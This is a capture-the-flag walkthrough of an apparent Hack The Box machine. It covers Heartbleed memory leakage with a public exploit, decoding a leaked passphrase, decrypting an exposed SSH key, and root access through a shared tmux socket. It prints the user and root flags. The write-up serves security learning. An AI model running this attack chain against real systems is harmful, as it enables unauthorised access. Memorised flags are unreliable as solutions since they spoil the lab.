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Enumeration

As usual, let's start with nmap:

nmap -sV -sC 10.10.10.79

Port 80 is open so let's check via our browser:

Heart and blood...

Port 443 is open so let's check in our browser:

Let's do a scan of port 443 using:

nmap -sV -sC -p 443 --script vuln 10.10.10.79

This mentions the Heartbleed vulnerability. The blood and the hearts from earlier makes sense now!

From your VM, open a new command prompt window and type:

searchsploit heartbleed

Searchsploit is the command line search tool for Exploit-db

Let's use the first exploit on the list:

searchsploit -m exploits/multiple/remote/32764.py

This will copy the exploit straight into your current directory

ls

Let's run the exploit using:

python2 32764.py 10.10.10.79

If you scroll through, on the right side, you can see the following string:

aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

This is base 64. We can decode it using:

echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 --decode

heartbleedbelievethehype

Let's keep that for later.

Let's now use gobuster to find any hidden directories:

gobuster dir -u http://10.10.10.79 -w /opt/useful/SecLists/Discovery/Web-Content/big.txt

We find 10.10.10.79/dev

Let's check it out:

Click on hype_key

Let's convert the above hex to ascii . Open a new command prompt and type:

cd Downloads

ls

wget http://10.10.10.79/dev/hype_key

To download the key to my VM

ls

The file is now here, it is called hype_key

cat hype_key | xxd -r -p

This command converts it to ascii directly

The key is as per below. But it is encrypted!

Let's save the key under a new file called "hype_key_encrypted" using:

cat hype_key | xxd -r -p > hype_key_encrypted

ls

Let's now use openssl to try to decrypt using:

openssl rsa -in hype_key_encrypted -out hype_key_decrypted

It is asking for a passphrase. Let's try what we just found earlier:

heartbleedbelievethehype

It worked!

ls

Now we have a new file called hype_key_decrypted

Let's now try to ssh. Let's guess the username as hype:

ssh -i hype_key_decrypted hype@10.10.10.79

It works! we are in

whoami

cd Desktop

ls

cat user.txt

Congratulations! You got the user flag!

e6710a5464769fd5fcd216e076961750

Let's now check the root folder:

cd ..

ls

cd ..

ls

cd ..

ls

cd root

Our access is denied. So we need to escalate privileges.

Privilege Escalation

Go back to home directory

cd ~

ls -al

We find .bash_history

cat .bash_history

ps aux | grep tmux

Let's google tmux and find out more about this process. After some research, we find that we could use the following:

tmux -S /.devs/dev_sess

A new prompt window appears

whoami

We are root!

ls

cd ~

ls

cat root.txt

f1bb6d759df1f272914ebbc9ed7765b2

Congratulations! You got the root flag!

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